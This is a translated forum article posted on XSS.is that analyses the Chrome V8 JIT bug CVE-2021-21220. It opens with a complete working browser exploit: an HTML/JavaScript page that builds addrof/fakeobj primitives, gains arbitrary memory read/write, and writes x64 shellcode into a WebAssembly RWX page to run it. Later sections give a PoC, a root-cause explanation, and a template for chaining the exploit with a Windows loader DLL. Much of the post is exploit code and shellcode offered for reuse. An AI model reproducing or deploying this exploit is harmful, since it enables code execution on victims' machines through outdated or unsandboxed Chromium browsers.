• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Изучение эксплойтов V8 с нуля / Заклятие отравленной CVE-2021-21220 / (8)

вавилонец

CPU register
Пользователь
Регистрация
17.06.2021
Сообщения
1 116
Реакции
1 265
Автор: Hcamael@Know Chuangyu 404 Lab
Перевод вот этой статьи.

Сегодня мы займемся разбором CVE-2021-21220, его номер ошибки Chrome: 1196683

Последняя версия Chrome: 89.0.4389.114
Последняя версия V8: 8.9.255.24

Для простоты рассмотрения код EXP прилагается:
Код:
<pre id="log"></pre>

<script>
    let log = document.getElementById('log');

    function print(x) {
        log.innerText += `${x}\n`;
    }

    TWOPOW32 = 0x100000000;
    let ab = new ArrayBuffer(0x10);
    let i64 = new BigInt64Array(ab);
    let u32 = new Uint32Array(ab);
    let f64 = new Float64Array(ab);


    function i2f(x) {
        i64[0] = BigInt(x);
        return f64[0];
    }

    function f2i32(x) {
        f64[0] = x;
        return u32[0];
    }

    function f2i64(x) {
        f64[0] = x;
        return u32[0] + u32[1] * TWOPOW32;
    }

    function hex(x) {
        return `0x${x.toString(16)}`;
    }

    glob = {};

    function foo(flag) {
        let bad = b[0] ^ 0;
        bad += 1;

        let i = Math.max(Math.max(0, bad) - 0x7fffffff, 0) >> 1;  // expected: 0, actual: 1

        glob[i] = 1;  // we need a side effect here apparently

        if (flag) {
            i = -1;
        }

        // Magic stuff, figure this out
        let v4 = Math.sign(i);
        v4 = Math.sign(i) < 0 ? 0 : v4;
        let v5 = new Array(v4);
        v5.shift();
        return v5;
    }

    var b = new Uint32Array([0x80000000]);

    before = new Array(20);

    function get_wasm_func() {
        const wasm_simple = [0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x08, 0x02, 0x60, 0x01, 0x7f, 0x00, 0x60, 0x00, 0x00, 0x02, 0x19, 0x01, 0x07, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x73, 0x0d, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x00, 0x00, 0x03, 0x02, 0x01, 0x01, 0x07, 0x11, 0x01, 0x0d, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x00, 0x01, 0x0a, 0x08, 0x01, 0x06, 0x00, 0x41, 0x2a, 0x10, 0x00, 0x0b];
        let wasm_buffer = new ArrayBuffer(wasm_simple.length);
        let wasm_func = null;
        const wasm_buf = new Uint8Array(wasm_buffer);

        for (let i = 0; i < wasm_simple.length; ++i) {
            wasm_buf[i] = wasm_simple[i];
        }

        let importObject = {
            imports: {
                imported_func: () => {
                    print("[$] wasm imported");
                }
            }
        }

        let wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_buf), importObject);
        return [wasm_mod, wasm_mod.exports.exported_func];
    }

    function main() {
        let [wasm_mod, wasm_func] = get_wasm_func();

        for (let i = 0; i < 200000; ++i) {
            foo(true);
        }

        print("HELLO P2O");
        for (let i = 0; i < before.length; i++) {
            before[i] = new Array(0);
        }

        oob = foo(false);


        let after_dbl = [2.2, 3.3, 4.4];
        after_dbl[0] = 2.3;

        let after_obj = [{}, {}, {}];


        let after_dbl2 = [2.2, 3.3, 4.4];
        after_dbl2[0] = 0;

        // should be 15 and 28 for >= 90, 16, 29 for 89
        oob[0x16 + 26] = 0x100;
        oob[0x29 + 26] = 0x100;

        if (after_obj.length !== 0x100 || after_dbl.length !== 0x100) {
            print("failed to overwrite lengths");
            throw null;
        }



        let addrof = (object) => {
            after_obj[0x2f] = object;
            return f2i32(after_dbl2[0]);
        };


        print("setting addrof/fakeobj");
        let fakeobj = (addr) => {
            after_dbl[0xa] = i2f(addr);
            return after_obj[1];
        }

        let test = { x: 1337 };
        let addrtest = addrof(test);
        print("addrtest is " + hex(addrtest));
        if (!fakeobj(addrtest).x === 1337) {
            throw "fakeobj/addrof failed";
        }

        print("got addrof/fakeobj");
        let co = new Uint32Array(16);
        let fakedata = addrof(co) - 0x41;
        co[0] = fakedata + (12 * 4) + 1;
        co[1] = 0;
        co[2] = 0;
        co[3] = 0x500;
        co[4] = 0;
        co[12] = 0;
        co[13] = 0x120e0e0e;
        // should be 0x1900043e for >= 90, 0x19000430 for 89
        co[14] = 0x19000430;
        co[15] = 0x084003ff;
        print("fakedata @ " + hex(fakedata));
        fakeab = fakeobj(fakedata + 1);

        let w32 = (addr, val) => {
            co[5] = addr % TWOPOW32;
            co[6] = addr / TWOPOW32;
            new Uint32Array(fakeab)[0] = val;
        };

        let r32 = (addr) => {
            co[5] = addr % TWOPOW32;
            co[6] = addr / TWOPOW32;
            return new Uint32Array(fakeab)[0];
        };


        let co2 = new Uint32Array(16);
        let fakedata2 = addrof(co2) - 0x41;
        let addrofwasm = addrof(wasm_mod);

        co2[0] = fakedata2 + (12 * 4) + 1;
        co2[1] = 0;
        co2[2] = addrofwasm + 0x60;
        co2[3] = 0x10;
        co2[4] = 0;
        co2[12] = 0;
        co2[13] = 0x16040404;
        co2[14] = 0x2100043d;
        co2[15] = 0x0a0007ff;
        print("fakedata2 @ " + hex(fakedata2));

        fakedbl = fakeobj(fakedata2 + 1);

        let rwx_page = f2i64(fakedbl[0]);
        print("rwx at " + hex(rwx_page));


        let sc = new Uint8Array([
            0x48, 0x83, 0xe4, 0xf0, 0x48, 0x83, 0xe5, 0xf0, 0xb9, 0x00, 0x04, 0x00,
            0x00, 0x48, 0x8d, 0x15, 0xea, 0x00, 0x00, 0x00, 0x49, 0xba, 0x76, 0xbc,
            0x2a, 0x07, 0xba, 0x36, 0x1f, 0xdd, 0xe8, 0xfa, 0x03, 0x00, 0x00, 0x48,
            0x8d, 0x0d, 0xd4, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x15, 0x4d, 0x01, 0x00,
            0x00, 0x49, 0xba, 0x6a, 0x3c, 0x28, 0xe8, 0x09, 0x36, 0x65, 0xdc, 0xe8,
            0xdd, 0x03, 0x00, 0x00, 0x48, 0x8d, 0x0d, 0xb7, 0x00, 0x00, 0x00, 0xba,
            0x00, 0x00, 0x00, 0xc0, 0x41, 0xb8, 0x01, 0x00, 0x00, 0x00, 0x41, 0xb9,
            0x00, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x6a, 0x00, 0x68, 0x80, 0x00, 0x00,
            0x00, 0x6a, 0x02, 0x48, 0x83, 0xec, 0x20, 0x49, 0xba, 0x70, 0xc4, 0x2b,
            0xf3, 0x69, 0x32, 0xaf, 0x5c, 0xe8, 0xa7, 0x03, 0x00, 0x00, 0x48, 0x83,
            0xc4, 0x40, 0x48, 0x89, 0xc1, 0x48, 0x8d, 0x15, 0x52, 0x01, 0x00, 0x00,
            0x41, 0xb8, 0x42, 0x01, 0x00, 0x00, 0x4c, 0x8d, 0x0d, 0x88, 0x02, 0x00,
            0x00, 0x6a, 0x00, 0x6a, 0x00, 0x48, 0x83, 0xec, 0x20, 0x49, 0xba, 0x63,
            0x24, 0x29, 0xfe, 0xc9, 0x32, 0x85, 0x5d, 0xe8, 0x75, 0x03, 0x00, 0x00,
            0x48, 0x83, 0xc4, 0x30, 0x48, 0x8d, 0x0d, 0xd6, 0x00, 0x00, 0x00, 0x48,
            0x8d, 0x15, 0x44, 0x00, 0x00, 0x00, 0x49, 0xba, 0x6a, 0x3c, 0x28, 0xe8,
            0x09, 0x36, 0x65, 0xdc, 0xe8, 0x54, 0x03, 0x00, 0x00, 0x48, 0x8d, 0x0d,
            0xb9, 0x00, 0x00, 0x00, 0xba, 0x05, 0x00, 0x00, 0x00, 0x49, 0xba, 0x68,
            0x5c, 0x26, 0xaa, 0xc9, 0x2e, 0x49, 0xdd, 0xe8, 0x39, 0x03, 0x00, 0x00,
            0xc3, 0x90, 0x90, 0x90, 0xb9, 0xe8, 0x03, 0x00, 0x00, 0x49, 0xba, 0x5a,
            0xcc, 0x28, 0x84, 0xe9, 0x23, 0x0d, 0x5c, 0xe8, 0x21, 0x03, 0x00, 0x00,
            0xeb, 0xea, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5c, 0x70,
            0x77, 0x6e, 0x65, 0x64, 0x2e, 0x74, 0x78, 0x74, 0x00, 0x6e, 0x6f, 0x74,
            0x65, 0x70, 0x61, 0x64, 0x2e, 0x65, 0x78, 0x65, 0x20, 0x00, 0x00, 0x00,
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
            0x00, 0x00, 0x28, 0x20, 0x20, 0x5f, 0x5f, 0x20, 0x20, 0x5c, 0x20, 0x28,
            0x20, 0x20, 0x5f, 0x5f, 0x5f, 0x5f, 0x20, 0x5c, 0x28, 0x20, 0x20, 0x5f,
            0x5f, 0x5f, 0x5f, 0x20, 0x5c, 0x28, 0x20, 0x20, 0x5f, 0x5f, 0x5f, 0x5f,
            0x20, 0x5c, 0x28, 0x20, 0x20, 0x5f, 0x5f, 0x5f, 0x5f, 0x20, 0x5c, 0x0a,
            0x7c, 0x20, 0x28, 0x20, 0x20, 0x5c, 0x20, 0x20, 0x29, 0x7c, 0x20, 0x28,
            0x20, 0x20, 0x20, 0x20, 0x5c, 0x2f, 0x7c, 0x20, 0x28, 0x20, 0x20, 0x20,
            0x20, 0x5c, 0x2f, 0x7c, 0x20, 0x28, 0x20, 0x20, 0x20, 0x20, 0x5c, 0x2f,
            0x7c, 0x20, 0x28, 0x20, 0x20, 0x20, 0x20, 0x5c, 0x2f, 0x0a, 0x7c, 0x20,
            0x7c, 0x20, 0x20, 0x20, 0x29, 0x20, 0x7c, 0x7c, 0x20, 0x28, 0x5f, 0x5f,
            0x20, 0x20, 0x20, 0x20, 0x7c, 0x20, 0x28, 0x5f, 0x5f, 0x5f, 0x5f, 0x5f,
            0x20, 0x7c, 0x20, 0x28, 0x5f, 0x5f, 0x20, 0x20, 0x20, 0x20, 0x7c, 0x20,
            0x7c, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x0a, 0x7c, 0x20, 0x7c, 0x20,
            0x20, 0x20, 0x7c, 0x20, 0x7c, 0x7c, 0x20, 0x20, 0x5f, 0x5f, 0x29, 0x20,
            0x20, 0x20, 0x28, 0x5f, 0x5f, 0x5f, 0x5f, 0x5f, 0x20, 0x20, 0x29, 0x7c,
            0x20, 0x20, 0x5f, 0x5f, 0x29, 0x20, 0x20, 0x20, 0x7c, 0x20, 0x7c, 0x20,
            0x20, 0x20, 0x20, 0x20, 0x20, 0x0a, 0x7c, 0x20, 0x7c, 0x20, 0x20, 0x20,
            0x29, 0x20, 0x7c, 0x7c, 0x20, 0x28, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
            0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x29, 0x20, 0x7c, 0x7c, 0x20, 0x28,
            0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7c, 0x20, 0x7c, 0x20, 0x20, 0x20,
            0x20, 0x20, 0x20, 0x0a, 0x7c, 0x20, 0x28, 0x5f, 0x5f, 0x2f, 0x20, 0x20,
            0x29, 0x7c, 0x20, 0x29, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2f, 0x5c,
            0x5f, 0x5f, 0x5f, 0x5f, 0x29, 0x20, 0x7c, 0x7c, 0x20, 0x28, 0x5f, 0x5f,
            0x5f, 0x5f, 0x2f, 0x5c, 0x7c, 0x20, 0x28, 0x5f, 0x5f, 0x5f, 0x5f, 0x2f,
            0x5c, 0x0a, 0x28, 0x5f, 0x5f, 0x5f, 0x5f, 0x5f, 0x5f, 0x2f, 0x20, 0x7c,
            0x2f, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x5c, 0x5f, 0x5f, 0x5f,
            0x5f, 0x5f, 0x5f, 0x5f, 0x29, 0x28, 0x5f, 0x5f, 0x5f, 0x5f, 0x5f, 0x5f,
            0x5f, 0x2f, 0x28, 0x5f, 0x5f, 0x5f, 0x5f, 0x5f, 0x5f, 0x5f, 0x2f, 0x0a,
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
            0x00, 0x00, 0x00, 0x00, 0x00, 0xfc, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51,
            0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x30, 0x48, 0x8b, 0x52,
            0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,
            0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
            0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x49, 0xc1, 0xc9, 0x0d, 0x49,
            0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b,
            0x42, 0x3c, 0x48, 0x01, 0xd0, 0x66, 0x81, 0x78, 0x18, 0x0b, 0x02, 0x75,
            0x69, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x5e,
            0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49,
            0x01, 0xd0, 0xe3, 0x4d, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48,
            0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x49, 0xc1, 0xc9,
            0x0d, 0x49, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24,
            0x08, 0x4d, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49,
            0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49,
            0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41,
            0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0xc3, 0x58, 0x41, 0x59,
            0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x58, 0xff, 0xff, 0xff, 0xe8, 0x37, 0xff,
            0xff, 0xff, 0xff, 0xe0,


        ]);

        let sc32 = new Uint32Array(sc.buffer);


        co[5] = rwx_page % TWOPOW32;
        co[6] = rwx_page / TWOPOW32;
        let writer = new Uint32Array(fakeab);

        for (let i = 0; i < sc32.length; i++) {
            writer[i] = sc32[i];
        }


        print("calling shellcode");
        wasm_func();

        print("got shellcode");

        let addroob = addrof(oob);
        let co3 = new Uint32Array(16);
        let fakedata3 = addrof(co3) - 0x41;

        co3[0] = fakedata3 + (12 * 4) + 1;
        co3[1] = 0;
        co3[2] = addroob + 0;
        co3[3] = 0x10;
        co3[4] = 0;
        co3[12] = 0;
        co3[13] = 0x16040404;
        co3[14] = 0x0100042f;
        co3[15] = 0x0a0007ff;
        fakesmi = fakeobj(fakedata3 + 1);
        oob[0x18] = 3;
        oob[0x2b] = 3;
        fakesmi[1] = 0;
        fakesmi[0] = 0;

    }
    main();
</script>
<button onclick="main()">pwn</button>

Среда как всегда компилируется по моновению волшебной палочки:

Код:
$ ./build.sh 8.9.255.24

Анализ непроизнесенного заклинания уязвимости

При анализе прошлых уязвимостей, мы и так дохрена намахались волшебной палочкой / разобрали основные принципы шаблонизации / дальше будем больше времени уделять техническим моментам эксплуотации уязвимости.

PoC уязвимости выглядит так:

Код:
const _arr = new Uint32Array([2**31]);

function foo(a) {
    var x = 1;
    x = (_arr[0] ^ 0) + 1;

    x = Math.abs(x);
    x -= 2147483647;
    x = Math.max(x, 0);

    x -= 1;
    if(x==-1) x = 0;

    var arr = new Array(x);
    arr.shift();
    var cor = [1.1, 1.2, 1.3];

    return [arr, cor];
}

Взято из Великой Книги Колдавства

На сколько я понимаю его можно модифицировать следующим образом:

Код:
var b = new Uint32Array([0x80000000]);
var trigger_array = [];
function trigger() {
  var x = 1;
  x = (b[0] ^ 0) + 1; // 0x80000000 + 1
  x = Math.abs(x); // 0x80000001 0x7fffffff
  x -= 0x7fffffff;  // 2 0
  x = Math.max(x, 0); // 2 0

  x -= 1; // 1 -1
  if(x==-1) x = 0; // 1 0
  trigger_array = new Array(x); // 1 0
  trigger_array.shift();

  var da = [1.1, 2.2];
  var ob = [{a: 1,b: 2}];
  return [da, ob];
}

При нормальных обстоятельствах логика функции превратилась в лягушку:

1. b[0] - переменная типа uint32 со значением 0x80000000.
2. После изохронизации 0 становится типом int32 со значением -2147483648.
3. После добавления 1, она становится -2147483647, присваивается x. Но тип будет расширен до int64, потому что переменные js слабо типизированы. если x начинается как тип int32 со значением 2147483647(0x7fffffff), то x+1 не станет -1, а станет. 2147483648( 0x80000000), потому что int32 расширен до int64.
4. Затем абсолютное значение вычисляется с помощью функции math.abs, и значение x становится равным 2147483647(0x7fffffff).
5. x - 0x7FFFFFF = 0.
6. Используйте функцию math.max для вычисления максимального значения между x и 0, которое равно 0.
7. x - 1 = -1.
8. Поскольку x = -1, x меняется на 0.
9. Создается новый массив длины 0.
10. Поскольку длина равна 0, shitf недействителен, и массив не изменяется.

Но приведенная выше логика, после JIT оптимизации, отличается:.

1. b[0] - переменная типа uint32, ее значение 0x80000000.
2. При преобразовании в int64 его значение равно 0x80000000.
3. После добавления 1 оно становится 0x80000001.
4. Затем используйте функцию math.abs для вычисления абсолютного значения, и значение x станет 0x80000001.
5. x - 0x7FFFFFF = 2.
6. Используйте функцию math.max для вычисления максимального значения между x и 0, которое равно 2.
7. x - 1 = 1.
8. Создается новый массив длины 1.
9. Функция shitf устанавливает длину массива в -1. Это дает нам массив длины -1, через который в дальнейшем используются данные.

Существуют две проблемы с процессом оптимизации JIT.

1. Преобразование b[0] в int64 удаляет знак. На блок-схеме Turbo показано, что тип переменной b[0] изменяется с помощью ChangeInt32ToInt64, а вот реализации этого опкода.

Код:
void InstructionSelector::VisitChangeInt32ToInt64(Node* node) {
  ......
    switch (rep) {
      case MachineRepresentation::kBit:  // Fall through.
      case MachineRepresentation::kWord8:
        opcode = load_rep.IsSigned() ? kX64Movsxbq : kX64Movzxbq;
        break;
      case MachineRepresentation::kWord16:
        opcode = load_rep.IsSigned() ? kX64Movsxwq : kX64Movzxwq;
        break;
      case MachineRepresentation::kWord32:
        opcode = load_rep.IsSigned() ? kX64Movsxlq : kX64Movl;
        break;
      default:
        UNREACHABLE();
        return;
    }
......

Из приведенного выше кода видно, что если b[0] знаковый, то он будет преобразован с помощью инструкции kX64Movsxlq, если беззнаковый, то с помощью инструкции kX64Movl.

Поскольку b[0] является переменной типа uint32, она использует movl для расширения размера, поэтому она не расширяет свой знак, что вызывает проблему.

2. Функция shiftf устанавливает длину массива равной -1.

Обычная логика функции сдвига заключается в определении длины массива, и если его длина больше 0 и меньше 100, то присвоение длины будет оптимизировано для предсказания его длины, а затем будет выполнена операция минус 1 для прямой записи длины массива.

В JIT-предсказании значение x равно 0, потому что оно предсказывается, как-будто ошибок нет, но в реальном случае x равно 1. Это приводит к тому, что реальный случай x проходит проверку длины shitf, но затем считает x равным 0 и, следовательно, -1, устанавливая длину массива равной -1.
CVE-2021-21220 Резюме
Причина этой уязвимости все еще достаточно проста для понимания, и важно научиться смотреть на Turbo в процессе изучения ее принципов, и для опкода будет написана последующая статья, посвященная рассмотрению Turbo.

Рецепты яда для Windows Chrome (кровь девственницы не нужна)

Следующим шагом будет документирование фактической эксплуатации уязвимости v8 в Windows.

v8 является просто движок Chrome для анализа JavaScript кода, даже если уязвимость v8 код может выполнить shellcode, нет никакого способа получить системные привилегии, потому что есть также слой песочницы во внешнем слое v8 двигателя, поэтому в анализе v8 уязвимость эксплуатации статьи, окончательное отображение эффекта нужно позволить Chrome начать плюс --no-. параметр песочницы, поэтому реальный сценарий эксплуатации уязвимости v8 может быть найден только в приложениях, использующих ядро Chrome и не имеющих включенной песочницы. До этого v8 необходимо объединить с некоторыми другими уязвимостями, например, с уязвимостями выхода из песочницы, чтобы действительно прорваться через Chrome.

Дальше мы поговорим о том, как написать exp для комбинирования уязвимостей Windows для взлома Chrome в среде Windows.

1. шеллкод, который вы действительно хотите выполнить.

Код:
// shellcode.js
let usershellcode=[0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x0,0x0,0x0,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0xf,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x1,0xd0,0x8b,0x80,0x88,0x0,0x0,0x0,0x48,0x85,0xc0,0x74,0x67,0x48,0x1,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x1,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x1,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x3,0x4c,0x24,0x8,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x1,0xd0,0x66,0x41,0x8b,0xc,0x48,0x44,0x8b,0x40,0x1c,0x49,0x1,0xd0,0x41,0x8b,0x4,0x88,0x48,0x1,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x1,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x48,0x8d,0x8d,0x1,0x1,0x0,0x0,0x41,0xba,0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0xa,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x6,0x7c,0xa,0x80,0xfb,0xe0,0x75,0x5,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x0,0x59,0x41,0x89,0xda,0xff,0xd5,0x6e,0x6f,0x74,0x65,0x70,0x61,0x64,0x0,0x0];

Установите шелл-код всплывающего калькулятора в переменную и сохраните его в shellcode.js

2. Напишите загрузчик для Windows (эта часть будет написана моим коллегой позже), бинарник загрузчика будет записан в dll.js.

Код:
// dll.js
let dll=[......];

Этот loadpe выполнит шеллкод в shellcode.js после повышения в Windows, и адрес шеллкода, который нам нужно слить в exp, будет таким
Код:
var myshell = new Uint8Array(0x1000);
for (i = 0x0; i < usershellcode.length; i++) {
    myshell[i] = usershellcode[i];
}
var shellDataAddr = addressOf(myshell);
console.log("[*] leak shellcode data addr: 0x" + hex(shellDataAddr));
var shellAddr = read64(shellDataAddr + 0x28n);
alert("[*] leak my shellcode addr: 0x" + hex(ftoi(shellAddr)));
bshellAddr = ftob(shellAddr);
addr_offset = ???;
let dllData = new Uint8Array(dll.length);
for (i = 0x0; i < dll.length; i++) {
    if (i>= addr_offset && i < addr_offset+8) {
        dllData[i] = bshellAddr[i-addr_offset];
    } else {
        dllData[i] = dll[i];
    }
}

3. Дальше отправляем адрес dll, и тогда шеллкод для exp действует так, чтобы установить в памяти loadpe разрешения на чтение, запись и исполнение, а затем переходит туда

Код:
var dllDataAddr = addressOf(dllData);
console.log("[*] leak dll data addr: 0x" + hex(dllDataAddr));
var dllAddr = read64(dllDataAddr + 0x28n);
alert("[*] leak dll addr: 0x" + hex(ftoi(dllAddr)));
var shellcode = [......];
bdllAddr = ftob(dllAddr);
Offset = ???;
for (let i = 0x0; i < 0x8; i++) {
    shellcode[0x2 + i] = bdllAddr[i];
    shellcode[Offset + 0x2 + i] = bdllAddr[i];
}
var Uint8Shellcode = new Uint8Array(shellcode.length);
var Uint64Shellcode = new BigUint64Array(Uint8Shellcode.buffer);
for (let i = 0x0; i < shellcode.length; i++) {
    Uint8Shellcode[i] = shellcode[i];
}
copy_shellcode_to_rwx(Uint64Shellcode, rwx_page_addr);
f();

Следуя такому шаблону для написания EXP, его можно отлично совместить с Windows Big Brother для написания loadpe's power lifting exp.


Ссылки для самостоятельного колдавства
  1. https://bugs.chromium.org/p/chromium/issues/detail?id=1196683
  2. https://bugs.chromium.org/p/chromium/issues/attachmentText?aid=497472
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх